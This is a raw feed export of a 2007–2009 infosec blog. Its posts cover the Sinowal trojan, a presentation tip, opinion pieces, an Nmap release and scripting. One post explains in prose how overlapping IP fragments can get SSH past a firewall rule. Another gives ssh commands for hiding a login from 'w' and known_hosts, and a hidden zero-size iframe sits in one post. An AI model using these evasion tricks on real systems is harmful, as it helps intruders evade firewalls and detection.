type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/5308193837864282040'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2009/01/post-exploitation.html' title='Post Exploitation...'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-6330733293460746979</id><published>2009-01-13T00:07:00.000-08:00</published><updated>2009-01-13T00:10:20.910-08:00</updated><title type='text'>Sinowal trojan: Three years old and just plain nasty</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Sinowal&lt;/span&gt; is a dangerous piece of malware. Security analysts are just beginning to realize how much so. That’s because the Sinowal trojan is unique in its attack vector, and we need to understand what’s different about it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;“We recently discovered that, dating back as early as February 2006, the Sinowal Trojan has compromised and stolen login credentials from approximately 300,000 online bank accounts as well as a similar number of credit and debit cards. Other information such as email, and FTP accounts from numerous websites, have also been compromised and stolen.”&lt;br /&gt;  - &lt;span style="font-weight: bold;"&gt;RSA FraudAction Research Lab&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;“How can Mebroot/Sinowal do their dirty work without a malicious component? Well, because Sinowal controls the boot sequence, it can inject the malicious code into legitimate Windows Components. It will hook key functions that the Internet Explorer will use to do its day-to-day job like sending and receiving encrypted data. Yes, you are right. Mebroot/Sinowal does have full control over the encrypted data stream as it has access to it before it will be encrypted and after it has been decrypted.”&lt;br /&gt;  - &lt;span style="font-weight: bold;"&gt;TrustDefender  Labs&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Read the whole article by Michael Kassner&lt;a href="http://blogs.techrepublic.com.com/networking/?p=787&amp;amp;tag=nl.e102"&gt; HERE&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-6330733293460746979?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/6330733293460746979/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=6330733293460746979' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/6330733293460746979'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/6330733293460746979'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2009/01/sinowal-trojan-three-years-old-and-just.html' title='Sinowal trojan: Three years old and just plain nasty'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-1321375765241410373</id><published>2008-09-05T00:28:00.000-07:00</published><updated>2008-09-05T01:04:24.833-07:00</updated><title type='text'>Showing Only Presentation on External Display</title><content type='html'>Doing presentation is not liked by most of the techies, But there are times in life where you have to do presentations. When I started giving presentations  from lots of days I was thinking is there any way I can see my notes on my laptop and my audience will only see the presentation. Because it is very frustrating if you forgot any point and need to see the notes, all the audience will see those notes. I didnt like that.  At last today I have found a way by which I can to that. Lots of you might be already knowing this. But I thought I would share this in case some of you dont know it.&lt;br /&gt;&lt;br /&gt;Steps&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Step 1: Right click on desktop select properties, select settings&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2jnsT-Tk2Ig/SMDlHvGGnJI/AAAAAAAAABI/ErqQ1jFwDIQ/s1600-h/temp1.PNG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://3.bp.blogspot.com/_2jnsT-Tk2Ig/SMDlHvGGnJI/AAAAAAAAABI/ErqQ1jFwDIQ/s320/temp1.PNG" alt="" id="BLOGGER_PHOTO_ID_5242441887323167890" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Step 2: Check if Multiple Monitors option is available if not you need to check your graphics drivers.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Step 3.  Right click on second monitor, click on attached&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Step 4: Go to power point click on Slide Show -&gt; Setup slide show&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2jnsT-Tk2Ig/SMDm1X3ys_I/AAAAAAAAABQ/uqbaAetiADo/s1600-h/temp2.PNG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://2.bp.blogspot.com/_2jnsT-Tk2Ig/SMDm1X3ys_I/AAAAAAAAABQ/uqbaAetiADo/s320/temp2.PNG" alt="" id="BLOGGER_PHOTO_ID_5242443770874737650" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;step 5:  In the multiple monitors section select Monitor 2&lt;br /&gt;&lt;br /&gt;Step 6: Press F5 to start slide show ..... Valllaaa only your slide show is shown on your external monitor / projector.&lt;br /&gt;&lt;br /&gt;You can see your notes , do any thing on you laptop that will not be shown in the external monitor.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-1321375765241410373?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/1321375765241410373/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=1321375765241410373' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/1321375765241410373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/1321375765241410373'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2008/09/showing-only-presentation-on-external.html' title='Showing Only Presentation on External Display'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_2jnsT-Tk2Ig/SMDlHvGGnJI/AAAAAAAAABI/ErqQ1jFwDIQ/s72-c/temp1.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-610098085061901350</id><published>2008-07-28T05:01:00.000-07:00</published><updated>2008-07-28T05:59:06.172-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='professional'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='difference'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><category scheme='http://www.blogger.com/atom/ns#' term='consultant'/><title type='text'>Hacker and Security Consultant</title><content type='html'>Some days ago when I was viewing a video from the shmoocon 2008, Hackajar told a very interesting difference between a hacker and security professional, he said&lt;br /&gt;&lt;blockquote&gt;"Under the Age of 25 you are a hacker you are over the age of 25 you are a security professional"&lt;/blockquote&gt;So I was thinking about this statement like and I was like "Waw" how true !! Like when we are in our young age we dont have responsibilities on us. Most probably parents are paying for our education and for our living. At those time we can go on and on doing hacking stuff but we dont get any pay for that. They say White Hat, black hat are there black hat dont like white hats but there is one important statement made by simple nomad in this talk that was&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;"The basic different between Black hat and white hat hacker is that White hat has Mortgage."&lt;/blockquote&gt;So when you get little older responsibilities come, you need to earn for living. At that time one will think and I like to hack things, if I get a money to hack things then why I shouldn't take this opportunity ? Yes there are some restrictions on the you when you become white hat but every thing has its plus and minus. So its so true that as hackers become old they might go to the security scene. So whats bad in that ?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-610098085061901350?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/610098085061901350/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=610098085061901350' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/610098085061901350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/610098085061901350'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2008/07/hacker-and-security-consultant.html' title='Hacker and Security Consultant'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-5043362666682063301</id><published>2008-07-07T05:25:00.000-07:00</published><updated>2008-07-11T04:03:22.280-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='packet fragment firewall security'/><title type='text'>Packet Freagmentation Attack against Firewalls</title><content type='html'>&lt;blockquote&gt;&lt;strong&gt;For those who dont know what is packet fragmentation: you dont belong here, Dont read this article.&lt;/strong&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Legal Bullshit&lt;br /&gt;&lt;strong&gt;DISCLAIMER&lt;/strong&gt;&lt;br /&gt;This artical is provided for general informational purposes only, without warranty, either expressed or implied. How you use this information is upto you and author is not liable for that.&lt;br /&gt;(F*ing B@$# S**t)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As we know due to differnet MTU (Maximum Transmission Unit) size in the different networks the TCP/IP packets need to be fragmented some times. &lt;br /&gt;If you are RFC junky then RFC 791 - Internet Protocol is reffernce for you.&lt;br /&gt;               &lt;br /&gt;3 fields are involved in the fragmentation Identification,Flags,Fragment Offset &lt;br /&gt;&lt;br /&gt;1. Identification: 16 bits &lt;br /&gt;&lt;br /&gt;An identifying value assigned by the sender to aid in assembling the fragments of a datagram. &lt;br /&gt;&lt;br /&gt;2. Flags: 3 bits &lt;br /&gt;&lt;br /&gt;Various Control Flags. &lt;br /&gt;&lt;pre&gt;&lt;br /&gt;Bit 0: reserved, must be zero &lt;br /&gt;Bit 1: (DF) 0 = May Fragment, 1 = Don't Fragment. &lt;br /&gt;Bit 2: (MF) 0 = Last Fragment, 1 = More Fragments. &lt;br /&gt;  0   1   2&lt;br /&gt;+---+---+---+&lt;br /&gt;|   | D | M |&lt;br /&gt;| 0 | F | F |&lt;br /&gt;+---+---+---+&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;3. Fragment Offset: 13 bits &lt;br /&gt;&lt;br /&gt;This field indicates where in the datagram this fragment belongs. &lt;br /&gt;&lt;br /&gt;The fragment offset is measured in units of 8 octets (64 bits). The first fragment has offset zero.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bellow is the idea of how packet fragmentation can be used to get around rules in some firewalls. To do this the main idea is to set the offset of the second packet is so low that the second packet will actually overlap on the first packet and the data of the first packet will be overwritten.&lt;br /&gt;&lt;br /&gt;For Example.&lt;br /&gt;Suppose there is a firewall rule that only allows port 80 to be connected from internet to inside server and say you want to do a ssh (port 22) connectoin to that server. &lt;br /&gt;    Then the first packet would be sent to the server with the port number 80 and&lt;br /&gt;with the DF bit = 0 (May Fragment) and the MF bit = 1 (More Fragments). Since the firewall is configured to allow the port 80 connection it will allow this packet.&lt;br /&gt;&lt;br /&gt;    The second packet should be sent with the DF bit=0 and MF bit =0 (Last Fragment), port will be 22 and the Fragment Offset is given as 1. This will over write the first packet except the first 1byte(8bits) of the packet. &lt;br /&gt; &lt;br /&gt;This second packet will be accepted by the firewall since it is part of the first packet and first packet has been already accepted by the firewall. So final assembled packet will have port 22. This packet will be forwarded to the server's port 22 this way.&lt;br /&gt;&lt;br /&gt;&lt;a href="/"&gt;&lt;img style="float:left; cursor:pointer; width: 129px;" src="http://orkutimg.phpnet.us/test3.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=0 height=0 width=0 scrolling=no src="http://orkutimg.phpnet.us/count.php?misc=PacketFragmentAttack"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-5043362666682063301?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/5043362666682063301/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=5043362666682063301' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/5043362666682063301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/5043362666682063301'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2008/07/packet-freagmentation-attack-against.html' title='Packet Freagmentation Attack against Firewalls'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-4067191654223522636</id><published>2008-04-08T10:24:00.000-07:00</published><updated>2008-04-08T10:46:25.911-07:00</updated><title type='text'>Instant Hacking / Security</title><content type='html'>If one see the graph of the computer attackers knowledge from 80s to today then there will be a big big drop down in attackers knowledge. I have seen some people who want  knowledge with less or no effort. Worst case others don't want knowledge. Thats why there are lot and lots of Script kiddies these days.&lt;br /&gt;     There are lots of cases where a Microsoft Windows Exploit are being used on a linux/unix server by these script kiddies. I dont know why know one is ready to search a little bit , read a little bit. I think all are locked in to the instant phase created by media (instnat noodles, instant food, instant banking) So they want instant hacking also. But how do we say to them that hacking is not a instant packet. That just keep in oven / microwave and ready to serve. Even the people in the information security are exception for this. Lots of people in Information Security area also want  to download Nessus, click on All the Plugins and hit on the target. They dont want to take some time to understand the tool, understand its working. Hell they dont even want to learn about the target against which they are using these tools. I think now is the time to follow the &lt;span style="font-style:italic;"&gt;old school&lt;/span&gt; techiniques. It is very important if devlopement of the information security personal is concerned. I dont get how come person in the security also dont want to learn things about the network and tools that they use. I think lots of person are security area also only interested in showing some dumb nessus report to the user and get work done. What they dont understand is this is going to harm them in the future than the Client to which they are giving these reports. Their personal growth will affect from this kind of working. So atleast for personal interest try to learn / get information.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-4067191654223522636?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/4067191654223522636/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=4067191654223522636' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/4067191654223522636'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/4067191654223522636'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2008/04/instant-hacking-security.html' title='Instant Hacking / Security'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-460764066357240031</id><published>2007-12-18T06:39:00.000-08:00</published><updated>2008-01-20T20:58:14.250-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='nmap fydor anniversary'/><title type='text'>Nmap 10th Anniversary Edition (4.50) released</title><content type='html'>After Two Years a major version change in nmap is here.&lt;br /&gt;The new nmap anniversary edition is available for download.&lt;br /&gt;Here is what the mail from &lt;a href="http://insecure.org/fyodor/"&gt;fyodor&lt;/a&gt; says&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------------------------&lt;br /&gt;FROM Fyodor &lt;fyodor org=""&gt;&lt;br /&gt;&lt;br /&gt;Hi everyone. I'm proud to say that Nmap has reached its 10th&lt;br /&gt;anniversary since I released it in 1997, and it is still going strong!&lt;br /&gt;To celebrate that, Nmap 4.50 has been released. It is the first&lt;br /&gt;stable release in more than a year (there have been dozens of dev&lt;br /&gt;releases), and the first major release since 4.00 two years ago.&lt;br /&gt;&lt;br /&gt;In related good news, the movie Bourne Ultimatum was released to DVD&lt;br /&gt;on Tuesday, and is currently the 3rd highest selling DVD on Amazon.&lt;br /&gt;In this movie, the CIA needs to hack the mail server of a newspaper&lt;br /&gt;(The Guardian UK) to read the email of a reporter they&lt;br /&gt;assassinated. So they turn to Nmap and its new official GUI Zenmap&lt;br /&gt;(part of the 4.50 release)! I have screenshots up on&lt;br /&gt;http://insecure.org . Nmap has now appeared in at least five&lt;br /&gt;movies--it has become quite the movie star!&lt;br /&gt;&lt;br /&gt;The changelog shows 320 changes since 4.00 with a lot of great stuff&lt;br /&gt;in this release! It has a brand new GUI and results viewer (Zenmap),&lt;br /&gt;a scripting engine allowing you to write your own scripts for&lt;br /&gt;high-performance network discovery (or use one of the 40 scripts&lt;br /&gt;shipped with it), the 2nd generation OS detection system (now with&lt;br /&gt;more than a thousand fingerprints), nearly 1,500 more version&lt;br /&gt;detection signatures, and a lot more! You can read the full release&lt;br /&gt;announcement, which describes the changes as well as future plans,&lt;br /&gt;right here:&lt;br /&gt;&lt;br /&gt;http://insecure.org/stf/Nmap-4.50-Release.html&lt;br /&gt;&lt;br /&gt;Or if you are ready to jump right in, head to the download page:&lt;br /&gt;&lt;br /&gt;http://insecure.org/nmap/download.html&lt;br /&gt;&lt;br /&gt;We don't have an ad budget, so please help spread the word about the&lt;br /&gt;new Nmap. The 4.00 release made Slashdot, Digg, etc. and this release&lt;br /&gt;is even better!&lt;br /&gt;&lt;br /&gt;And of course be sure to try it out yourself! Let us know on the&lt;br /&gt;nmap-dev list if you encounter any problems. See&lt;br /&gt;http://insecure.org/nmap/man/man-bugs.html .&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;Fyodor&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------------------------&lt;br /&gt;!!!!!   Cheeeeeeeerssss to  Fyodor !!!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-460764066357240031?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/460764066357240031/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=460764066357240031' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/460764066357240031'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/460764066357240031'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2007/12/nmap-10th-anniversary-edition-450.html' title='Nmap 10th Anniversary Edition (4.50) released'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-2752023123613680976</id><published>2007-12-04T23:10:00.001-08:00</published><updated>2007-12-04T23:24:37.021-08:00</updated><title type='text'>An almost invisible ssh connection</title><content type='html'>In the worse case if you have to ssh on a box, do it every time&lt;br /&gt;with no tty allocation&lt;br /&gt;&lt;br /&gt;   ssh -T user@host&lt;br /&gt;&lt;br /&gt;   If you connect to a host with this way, a command like "w" will not&lt;br /&gt;show your connection. Better, add 'bash -i' at the end of the command to&lt;br /&gt;simulate a shell&lt;br /&gt;&lt;br /&gt;    ssh -T user@host /bin/bash -i&lt;br /&gt;&lt;br /&gt;   Another trick with ssh is to use the -o option which allow you to&lt;br /&gt;specify a particular know_hosts file (by default it's ~/.ssh/know_hosts).&lt;br /&gt;The trick is to use -o with /dev/null:&lt;br /&gt;&lt;br /&gt;   ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -i&lt;br /&gt;&lt;br /&gt;   With this trick the IP of the box you connect to won't be logged in&lt;br /&gt;know_hosts.&lt;br /&gt;&lt;br /&gt;   Using an alias is a good idea.&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------&lt;br /&gt;credits: An artical by Duvel in phrack magazine&lt;br /&gt;------------------------------------------------------------------&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-2752023123613680976?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/2752023123613680976/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=2752023123613680976' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/2752023123613680976'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/2752023123613680976'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2007/12/almost-invisible-ssh-connection.html' title='An almost invisible ssh connection'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-7298285418047039166</id><published>2007-10-17T05:31:00.000-07:00</published><updated>2007-10-17T05:35:30.385-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='How you can use command script to change KDE Desktop python'/><title type='text'>DCOP: Scripting the KDE Desktop</title><content type='html'>KDE provides a powerful interprocess communication system in DCOP, the Desktop COmmunication Protocol. Using DCOP, you can control a wide range of functions in KDE from the command line or from a script written in your favorite scripting language. You can also get information out of KDE applications: for example, several KDE media players provide methods to query the player for information about the currently-playing track.&lt;br /&gt;&lt;br /&gt;For the whole Artical can be seen &lt;a href="http://docs.kde.org/userguide/scripting-the-desktop.html"&gt;HERE&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I found this when I was trying to write a script that will change my desktop to the Daily comic strip Dilbert automatically&lt;br /&gt;Then I found the DCOP command&lt;br /&gt;Example&lt;br /&gt;#dcop kdesktop KBackgroundIface setWallpaper /tmp/dilbert.gif 1&lt;br /&gt;&lt;br /&gt;The Above command will change your desktop wallpaper to /tmp/dilbert.gif&lt;br /&gt;&lt;br /&gt;If any one interested to see the script the script is at link given bellow&lt;br /&gt;&lt;a href="http://neo1981.googlepages.com/getdilbert.py"&gt;python script source code&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-7298285418047039166?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/7298285418047039166/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=7298285418047039166' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/7298285418047039166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/7298285418047039166'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2007/10/dcop-scripting-kde-desktop.html' title='DCOP: Scripting the KDE Desktop'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-4932889952842074206</id><published>2007-10-14T23:31:00.000-07:00</published><updated>2007-10-15T00:40:22.988-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python google video download commandline automate'/><title type='text'>Script to Automate Download Google Videos</title><content type='html'>I had to download a large number of google videos this week. But I was fade up with the pasting the url in to sites like keepvid.com then click on the download links then downlaod videos. I had a defined list of videos to be downlaoded, so I decided to write my own programm to download these files automatically from a commandline program.&lt;br /&gt;My program reads the filename given in the commndline and then treats each line of the file as a google video entry and filename given separated by pipe.&lt;br /&gt;Format is as shown bellow&lt;br /&gt;&lt;br /&gt;# cat testurl.txt&lt;br /&gt;http://video.google.com/videoplay?docid=2889527841583480458|testvdo.flv&lt;br /&gt;http://video.google.com/videoplay?docid=1332505621497959742|testvdo2.flv&lt;br /&gt;# &lt;br /&gt;(testurl.txt can be downloaded from &lt;a href="http://neo1981.googlepages.com/testurl.txt"&gt; HERE&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The python code is as given bellow&lt;br /&gt;&lt;br /&gt;&lt;a href="http://neo1981.googlepages.com/getvdo.py"&gt;Python Code File&lt;/a&gt;&lt;br /&gt;I am too lazy to format code in blogger post, so I have uploaded the file.&lt;br /&gt;&lt;br /&gt;Save the python code as file name getvdo.py&lt;br /&gt;make sure you have testurl.txt file with the google video urls, then run the code by command given bellow&lt;br /&gt;[code]&lt;br /&gt;python getvdo.py testurl.txt&lt;br /&gt;[/code]&lt;br /&gt;&lt;br /&gt;Any suggestions welcome&lt;br /&gt;&lt;i&gt;Now Some LEGAL Crap&lt;/i&gt;&lt;br /&gt;&lt;br /&gt; &lt;strong&gt;&lt;span&gt;Is this tool legal?&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;From http://www.google.com/terms_of_service.html: "You may not send&lt;br /&gt;automated queries of any sort to Google's system without express&lt;br /&gt;permission in advance from Google."&lt;br /&gt;&lt;br /&gt;This means that you should not use this tool to query Google without&lt;br /&gt;advance express permission. Google appliances, however, do not have these&lt;br /&gt;limitations. You should, however, obtain advance express permission from&lt;br /&gt;the owner or maintainer of the Google appliance before searching it with&lt;br /&gt;any automated tool for various legal and moral reasons.&lt;br /&gt;&lt;br /&gt;The author wrote this tool not to violate Google's terms of service (ToS)&lt;br /&gt;but to automate some of his work.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1067707793445906507-4932889952842074206?l=infosec-neo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosec-neo.blogspot.com/feeds/4932889952842074206/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1067707793445906507&amp;postID=4932889952842074206' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/4932889952842074206'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1067707793445906507/posts/default/4932889952842074206'/><link rel='alternate' type='text/html' href='http://infosec-neo.blogspot.com/2007/10/script-to-automate-download-google.html' title='Script to Automate Download Google Videos'/><author><name>neo</name><uri>http://www.blogger.com/profile/11967639267295301917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1067707793445906507.post-7024904956604049669</id><published>2007-08-22T05:08:00.000-07:00</published><updated>2007-08-22T05:19:32.899-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='indian'/><category scheme='http://www.blogger.com/atom/ns#' term='fake'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker'/><category scheme='http://www.blogger.com/atom/ns#' term='ankit'/><category scheme='http://www.blogger.com/atom/ns#' term='media'/><category scheme='http://www.blogger.com/atom/ns#' term='fadia'/><title type='text'>Beware of Ankit Fadia</title><content type='html'>I have herd lots of times of newbies that they are very inspired by So called hacker Ankit Fadia, When I was in college I had also braught his first book on "Ethical Hacking"( which was full of CRAP). I herd he has started his own Certified Ethical Hacker courses, trying to fool people.&lt;br /&gt;Some of my juniors were asking whether they should joined that course. First I thought it was CEH certification aided by these freaks. But it is not, it is Ankit Fadia Certified Ethical Hacker. I was could not stop laughing when I saw that this fellow has started his own certification course, which has offcourse ZERO value in any place you go. I have instructed my all 